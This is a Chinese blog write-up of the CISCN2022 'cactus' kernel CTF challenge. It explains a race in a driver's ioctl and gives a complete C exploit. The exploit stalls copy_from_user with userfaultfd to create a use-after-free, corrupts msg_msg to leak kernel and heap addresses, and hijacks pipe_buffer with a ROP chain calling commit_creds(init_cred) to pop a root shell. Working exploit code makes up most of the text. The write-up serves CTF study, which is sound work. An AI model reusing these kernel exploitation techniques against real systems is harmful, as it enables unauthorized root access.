• 【userfaultfd+msg_msg+pipe_buffer】CISCN2022-cactus


    启动脚本:

    1. #!/bin/sh
    2. qemu-system-x86_64 \
    3. -m 128M \
    4. -kernel ./bzImage \
    5. -initrd ./rootfs.cpio \
    6. -monitor /dev/null \
    7. -append "root=/dev/ram console=ttyS0 oops=panic quiet panic=1 kaslr" \
    8. -cpu kvm64,+smep,+smap\
    9. -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
    10. -nographic \
    11. -no-reboot \
    12. -s

    开启了 smep、smap、kaslr 和 kpti 保护。经过测试,没有开启 slab_freelist_random 保护。

    如何测试有没有开启 slab_freelist_random 等保护呢?很简单,自己写个驱动去测试就行了 

     程序分析

    虽然 kernel_release 再释放 buffer 后没有置空,但是 kernel_open 中设置了 flags 字段导致我们无法同时打开多次设备文件。所以这里不会产生漏洞,而 kernel_read 和 kernel_write 都是针对 buffer 指针的,所以不做分析。

    这里只分析可以利用的功能:kernel_ioctl

    该函数实现了一个 1024 大小的菜单堆,分别有两次 add、edit、dele 的机会,但是整个过程都没有上锁。

    可以利用的点主要在于 edit 时使用了 copy_from_user,并且整个过程都没有上锁。

    漏洞利用

    通过查看内核版本,发现其为 version 5.10.102,所以这里我们是可以使用 userfaultfd 系统调用的。

     所以我们可以在 edit 时使用 userfaultfd 将其卡住,然后 dele 掉这个堆块,再将该堆块申请到其他结构体上,这时候我们就可以实现任意写的功能,但是这里只有两次机会。

    msg_msg 泄漏内核基地址和堆地址

    这里泄漏堆地址是为了后面利用 pipe_buffer 提权用的。

    经过测试并没有开启 slab_freelist_random 保护,所以我们可以利用一次任意写去修改 msg_msg 的 m_ts 字段从而实现越界读,并且形成如下堆布局去泄漏内核基地址和堆地址:

    所以通过越界读,我们可以读取 pipe_buffer 中的 anon_pipe_buf_ops 去泄漏内核基地址,通过 msg_msg_2 中的 prev 字段我们就可以泄漏 msg_msg_1 的堆地址。

    pipe_buffer 提权

    这时我们可以将 msg_msg_1 释放掉,所以下一次申请堆块时就会拿到该堆块,因此我们可以再利用一次任意写去劫持 pipe_buffer 进行提取。

    exp如下:

    1. #ifndef _GNU_SOURCE
    2. #define _GNU_SOURCE
    3. #endif
    4. #include
    5. #include
    6. #include
    7. #include
    8. #include
    9. #include
    10. #include
    11. #include
    12. #include
    13. #include
    14. #include
    15. #include
    16. #include
    17. #include
    18. #include
    19. #include
    20. #include
    21. #include
    22. #include
    23. #include
    24. #include
    25. #include
    26. #include
    27. #define PIPE_BUFFER_NUM 1
    28. #define QID_NUM 1
    29. #define GLOBAL_FUNC_TABLE 0xffffffff8203ed80
    30. size_t pop_rdi = 0xffffffff8108c420; // pop rdi ; ret
    31. size_t magic_gadget = 0xFFFFFFFF812C4CCE;
    32. size_t swapgs_kpti = 0xFFFFFFFF81C00FCB;
    33. size_t init_cred = 0xffffffff82a6b700;
    34. size_t commit_creds = 0xffffffff810c9540;
    35. size_t kernel_offset = 0;
    36. size_t pipe_buffer_addr = 0;
    37. int fd;
    38. int qid;
    39. int global_pipe_fd[2];
    40. size_t uffd_buf[512];
    41. pthread_t moniter_thr;
    42. sem_t add_leak;
    43. sem_t edit_leak;
    44. sem_t add_hijack;
    45. sem_t edit_hijack;
    46. sem_t continue_sem;
    47. struct args {
    48. size_t idx;
    49. size_t size;
    50. char* buf;
    51. };
    52. struct msg_buf {
    53. long m_type;
    54. char m_text[1];
    55. };
    56. struct msg_header {
    57. void* l_next;
    58. void* l_prev;
    59. size_t m_type;
    60. size_t m_ts;
    61. void* next;
    62. void* security;
    63. };
    64. void err_exit(char *msg)
    65. {
    66. printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    67. exit(EXIT_FAILURE);
    68. }
    69. void add(char* buf)
    70. {
    71. struct args arg = { .size = buf };
    72. if (ioctl(fd, 0x20, &arg) < 0) err_exit("add object");
    73. }
    74. void dele(size_t idx)
    75. {
    76. struct args arg = { .idx = idx };
    77. ioctl(fd, 0x30, &arg);
    78. }
    79. void edit(size_t idx, size_t size, char* buf)
    80. {
    81. struct args arg = { .idx = idx, .size = size, .buf = buf };
    82. ioctl(fd, 0x50, &arg);
    83. }
    84. void info(char *msg)
    85. {
    86. printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
    87. }
    88. void hexx(char *msg, size_t value)
    89. {
    90. printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
    91. }
    92. void binary_dump(char *desc, void *addr, int len) {
    93. uint64_t *buf64 = (uint64_t *) addr;
    94. uint8_t *buf8 = (uint8_t *) addr;
    95. if (desc != NULL) {
    96. printf("\033[33m[*] %s:\n\033[0m", desc);
    97. }
    98. for (int i = 0; i < len / 8; i += 4) {
    99. printf(" %04x", i * 8);
    100. for (int j = 0; j < 4; j++) {
    101. i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
    102. }
    103. printf(" ");
    104. for (int j = 0; j < 32 && j + i * 8 < len; j++) {
    105. printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
    106. }
    107. puts("");
    108. }
    109. }
    110. /* root checker and shell poper */
    111. void get_root_shell(void)
    112. {
    113. if(getuid()) {
    114. puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
    115. sleep(5);
    116. exit(EXIT_FAILURE);
    117. }
    118. puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    119. puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");
    120. char* args[] = { "/bin/sh", NULL };
    121. execve("/bin/sh", args, NULL);
    122. // system("/bin/sh");
    123. /* to exit the process normally, instead of segmentation fault */
    124. exit(EXIT_SUCCESS);
    125. }
    126. /* userspace status saver */
    127. size_t user_cs, user_ss, user_rflags, user_rsp;
    128. void save_status()
    129. {
    130. asm volatile (
    131. "mov user_cs, cs;"
    132. "mov user_ss, ss;"
    133. "mov user_rsp, rsp;"
    134. "pushf;"
    135. "pop user_rflags;"
    136. );
    137. puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
    138. }
    139. /* bind the process to specific core */
    140. void bind_core(int core)
    141. {
    142. cpu_set_t cpu_set;
    143. CPU_ZERO(&cpu_set);
    144. CPU_SET(core, &cpu_set);
    145. sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
    146. printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
    147. }
    148. void register_userfaultfd(void* buf, void* handler)
    149. {
    150. long uffd;
    151. struct uffdio_api uffdio_api;
    152. struct uffdio_register uffdio_register;
    153. uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
    154. if (uffd < 0) err_exit("syscall __NR_userfaultfd");
    155. uffdio_api.api = UFFD_API;
    156. uffdio_api.features = 0;
    157. if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) err_exit("ioctl UFFDIO_API");
    158. uffdio_register.range.start = (unsigned long)buf;
    159. uffdio_register.range.len = 0x1000;
    160. uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    161. if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) err_exit("ioctl UFFDIO_REGISTER");
    162. if (pthread_create(&moniter_thr, NULL, handler, (void*)uffd)) err_exit("pthread_create userfaultfd");
    163. }
    164. void leak(void* args)
    165. {
    166. long uffd;
    167. struct uffd_msg msg;
    168. struct uffdio_copy uffdio_copy;
    169. uffd = (long)args;
    170. for (;;)
    171. {
    172. int res;
    173. struct pollfd pollfd;
    174. pollfd.fd = uffd;
    175. pollfd.events = POLLIN;
    176. if (poll(&pollfd, 1, -1) == -1) err_exit("poll in leak thread");
    177. res = read(uffd, &msg, sizeof(msg));
    178. if (res == 0) err_exit("EOF in leak userfaultfd");
    179. if (res == -1) err_exit("read in leak thread");
    180. if (msg.event != UFFD_EVENT_PAGEFAULT) err_exit("err event in leak thread");
    181. info("Leak in userfaultfd");
    182. sem_post(&add_leak);
    183. uffd_buf[0] = 0xdeadbeef;
    184. uffd_buf[1] = 0xbeefdead;
    185. uffd_buf[2] = 1;
    186. uffd_buf[3] = 0x1000-0x30;
    187. sem_wait(&edit_leak);
    188. uffdio_copy.src = (unsigned long)uffd_buf;
    189. uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address & ~(0x1000-1);
    190. uffdio_copy.len = 0x1000;
    191. uffdio_copy.mode = 0;
    192. uffdio_copy.copy = 0;
    193. if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) err_exit("ioctl UFFDIO_COPY in leak thread");
    194. sem_post(&continue_sem);
    195. }
    196. }
    197. void uaf_to_leak(void* args)
    198. {
    199. struct msg_buf* msg;
    200. char msg_buffer[0x400];
    201. memset(msg_buffer, 'A', sizeof(msg_buffer));
    202. msg = (struct msg_buf*)msg_buffer;
    203. msg->m_type = 1;
    204. sem_wait(&add_leak);
    205. info("uaf_to_msgmsg");
    206. dele(0);
    207. qid = msgget(IPC_PRIVATE, 0666|IPC_CREAT);
    208. if (qid < 0) err_exit("msgget in uaf_to_msgmsg");
    209. if (msgsnd(qid, msg, 0x400-0x30, 0) < 0) err_exit("msgsnd int uaf_to_msgmsg");
    210. sem_post(&edit_leak);
    211. }
    212. void hijack(void* args)
    213. {
    214. long uffd;
    215. struct uffd_msg msg;
    216. struct uffdio_copy uffdio_copy;
    217. uffd = (long)args;
    218. for (;;)
    219. {
    220. int res;
    221. struct pollfd pollfd;
    222. pollfd.fd = uffd;
    223. pollfd.events = POLLIN;
    224. if (poll(&pollfd, 1, -1) == -1) err_exit("poll in hijack thread");
    225. res = read(uffd, &msg, sizeof(msg));
    226. if (res == 0) err_exit("EOF in hijack userfaultfd");
    227. if (res == -1) err_exit("read in hijack thread");
    228. if (msg.event != UFFD_EVENT_PAGEFAULT) err_exit("err event in hijack thread");
    229. info("Hijack in userfaultfd");
    230. sem_post(&add_hijack);
    231. uffd_buf[0] = 0;
    232. uffd_buf[1] = 0;
    233. uffd_buf[2] = pipe_buffer_addr+0x20;
    234. uffd_buf[3] = 0;
    235. uffd_buf[4] = pop_rdi+kernel_offset;
    236. uffd_buf[5] = magic_gadget+kernel_offset;
    237. uffd_buf[6] = pop_rdi+kernel_offset;
    238. uffd_buf[7] = init_cred+kernel_offset;
    239. uffd_buf[8] = commit_creds+kernel_offset;
    240. uffd_buf[9] = swapgs_kpti+kernel_offset;
    241. uffd_buf[10] = 0;
    242. uffd_buf[11] = 0;
    243. uffd_buf[12] = get_root_shell;
    244. uffd_buf[13] = user_cs;
    245. uffd_buf[14] = user_rflags;
    246. uffd_buf[15] = user_rsp;
    247. uffd_buf[16] = user_ss;
    248. sem_wait(&edit_hijack);
    249. uffdio_copy.src = (unsigned long)uffd_buf;
    250. uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address & ~(0x1000-1);
    251. uffdio_copy.len = 0x1000;
    252. uffdio_copy.mode = 0;
    253. uffdio_copy.copy = 0;
    254. if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) err_exit("ioctl UFFDIO_COPY in hijack thread");
    255. sem_post(&continue_sem);
    256. }
    257. }
    258. void uaf_to_hijack_pipe_buffer(void* args)
    259. {
    260. int res;
    261. sem_wait(&add_hijack);
    262. dele(0);
    263. info("uaf_to_pipe_buffer");
    264. res = pipe(global_pipe_fd);
    265. if (res < 0) err_exit("create pipe");
    266. res = write(global_pipe_fd[1], "pwnpwner", 8);
    267. if (res < 0) err_exit("write pipe");
    268. sem_post(&edit_hijack);
    269. }
    270. int main(int argc, char** argv, char** env)
    271. {
    272. bind_core(0);
    273. save_status();
    274. pthread_t leak_thr;
    275. pthread_t hijack_thr;
    276. char arg_buf[1024];
    277. size_t buf[1024];
    278. // size_t kernel_offset;
    279. int pipe_fd[PIPE_BUFFER_NUM][2];
    280. char *uffd_buf1;
    281. char *uffd_buf2;
    282. int res;
    283. int my_qid[QID_NUM];
    284. struct msg_buf* msg;
    285. struct msg_header* first_msg;
    286. struct msg_header* second_msg;
    287. char message[0x400];
    288. msg = (struct msg_buf*)message;
    289. fd = open("/dev/kernelpwn", O_RDWR);
    290. if (fd < 0) err_exit("open /dev/kernelpwn");
    291. uffd_buf1 = (char*)mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1 , 0);
    292. uffd_buf2 = (char*)mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1 , 0);
    293. register_userfaultfd(uffd_buf1, (void*)leak);
    294. register_userfaultfd(uffd_buf2, (void*)hijack);
    295. sem_init(&add_leak, 0, 0);
    296. sem_init(&edit_leak, 0, 0);
    297. sem_init(&add_hijack, 0, 0);
    298. sem_init(&edit_hijack, 0, 0);
    299. sem_init(&continue_sem, 0, 0);
    300. pthread_create(&leak_thr, NULL, uaf_to_leak, NULL);
    301. pthread_create(&hijack_thr, NULL, uaf_to_hijack_pipe_buffer, NULL);
    302. memset(arg_buf, 'A', sizeof(arg_buf));
    303. add(arg_buf);
    304. edit(0, 0x20, uffd_buf1);
    305. sem_wait(&continue_sem);
    306. for (int i = 0; i < PIPE_BUFFER_NUM; i++)
    307. {
    308. if (pipe(pipe_fd[i]) < 0) err_exit("create pipe");
    309. if (write(pipe_fd[i][1], "pwnpwner", 8) < 0) err_exit("write pipe");
    310. }
    311. for (int i = 0; i < QID_NUM; i++)
    312. {
    313. my_qid[i] = msgget(IPC_PRIVATE, 0666|IPC_CREAT);
    314. if (my_qid[i] < 0) err_exit("msgget in uaf_to_msgmsg");
    315. msg->m_type = 1;
    316. *(int*)&msg->m_text[0] = 0xAAAAAAAA + 0x11111111*i;
    317. if (msgsnd(my_qid[i], msg, 0x400-0x30, 0) < 0) err_exit("msgsnd int uaf_to_msgmsg");
    318. msg->m_type = 2;
    319. *(int*)&msg->m_text[0] = 0xAAAAAAAA + 0x11111111*(i+1);
    320. if (msgsnd(my_qid[i], msg, 0x400-0x30, 0) < 0) err_exit("msgsnd int uaf_to_msgmsg");
    321. }
    322. res = msgrcv(qid, buf, 0x1000-0x30, 0, MSG_COPY|IPC_NOWAIT|MSG_NOERROR);
    323. if (res < 0) err_exit("msgrev");
    324. hexx("msgrcv msgmsg length", res);
    325. binary_dump("msg_msg data", (char*)buf+8+0x400-0x30, 0xc00);
    326. if (buf[123+2] < 0xffffffff81000000 || (buf[123+2]&0xfff) != 0xd80) err_exit("No OOB the pipe_buffer");
    327. kernel_offset = buf[123+2] - GLOBAL_FUNC_TABLE;
    328. hexx("kernel_offset", kernel_offset);
    329. first_msg = (struct msg_header*)((char*)buf+8+0x400-0x30+0x400);
    330. second_msg = (struct msg_header*)((char*)buf+8+0x400-0x30+0x800);
    331. pipe_buffer_addr = second_msg->l_prev;
    332. if (*(int*)((char*)first_msg+0x30) != 0xaaaaaaaa) err_exit("the nearby object is not first_msg");
    333. if (*(int*)((char*)second_msg+0x30) != 0xbbbbbbbb) err_exit("the nearby object is not second_msg");
    334. hexx("first_msg->l_next", first_msg->l_next);
    335. hexx("first_msg->l_prev", first_msg->l_prev);
    336. hexx("second_msg->l_next", second_msg->l_next);
    337. hexx("second_msg->l_prev", second_msg->l_prev);
    338. hexx("pipe_buffer_addr", pipe_buffer_addr);
    339. for (int i = 0; i < QID_NUM; i++)
    340. {
    341. res = msgrcv(my_qid[i], buf, 0x400-0x30, 2, 0);
    342. if (res < 0) err_exit("msgrev unlink");
    343. hexx("msgrcv msgmsg length", res);
    344. res = msgrcv(my_qid[i], buf, 0x400-0x30, 1, 0);
    345. if (res < 0) err_exit("msgrev unlink");
    346. hexx("msgrcv msgmsg length", res);
    347. }
    348. add(arg_buf);
    349. edit(0, 0x100, uffd_buf2);
    350. sem_wait(&continue_sem);
    351. if (close(global_pipe_fd[0]) < 0) err_exit("close pipe");
    352. if (close(global_pipe_fd[1]) < 0) err_exit("close pipe");
    353. return 0;
    354. }

    打包运行即可完成提取: 

  • 相关阅读:
    泛微OA_lang2sql 任意文件上传漏洞复现
    UE 数据表 DataTable
    springboot启动流程
    全面解析缓存应用经典问题
    Windows安装SSH超详细教程
    深度卷积神经网络(AlexNet)
    CSS重点知识整理1
    Git常用命令
    大数据处理技术作业——使用HBase&MongoDB&MapReduce进行数据存储和管理
    msf对小米11进行安全渗透
  • 原文地址:https://blog.csdn.net/qq_61670993/article/details/133737329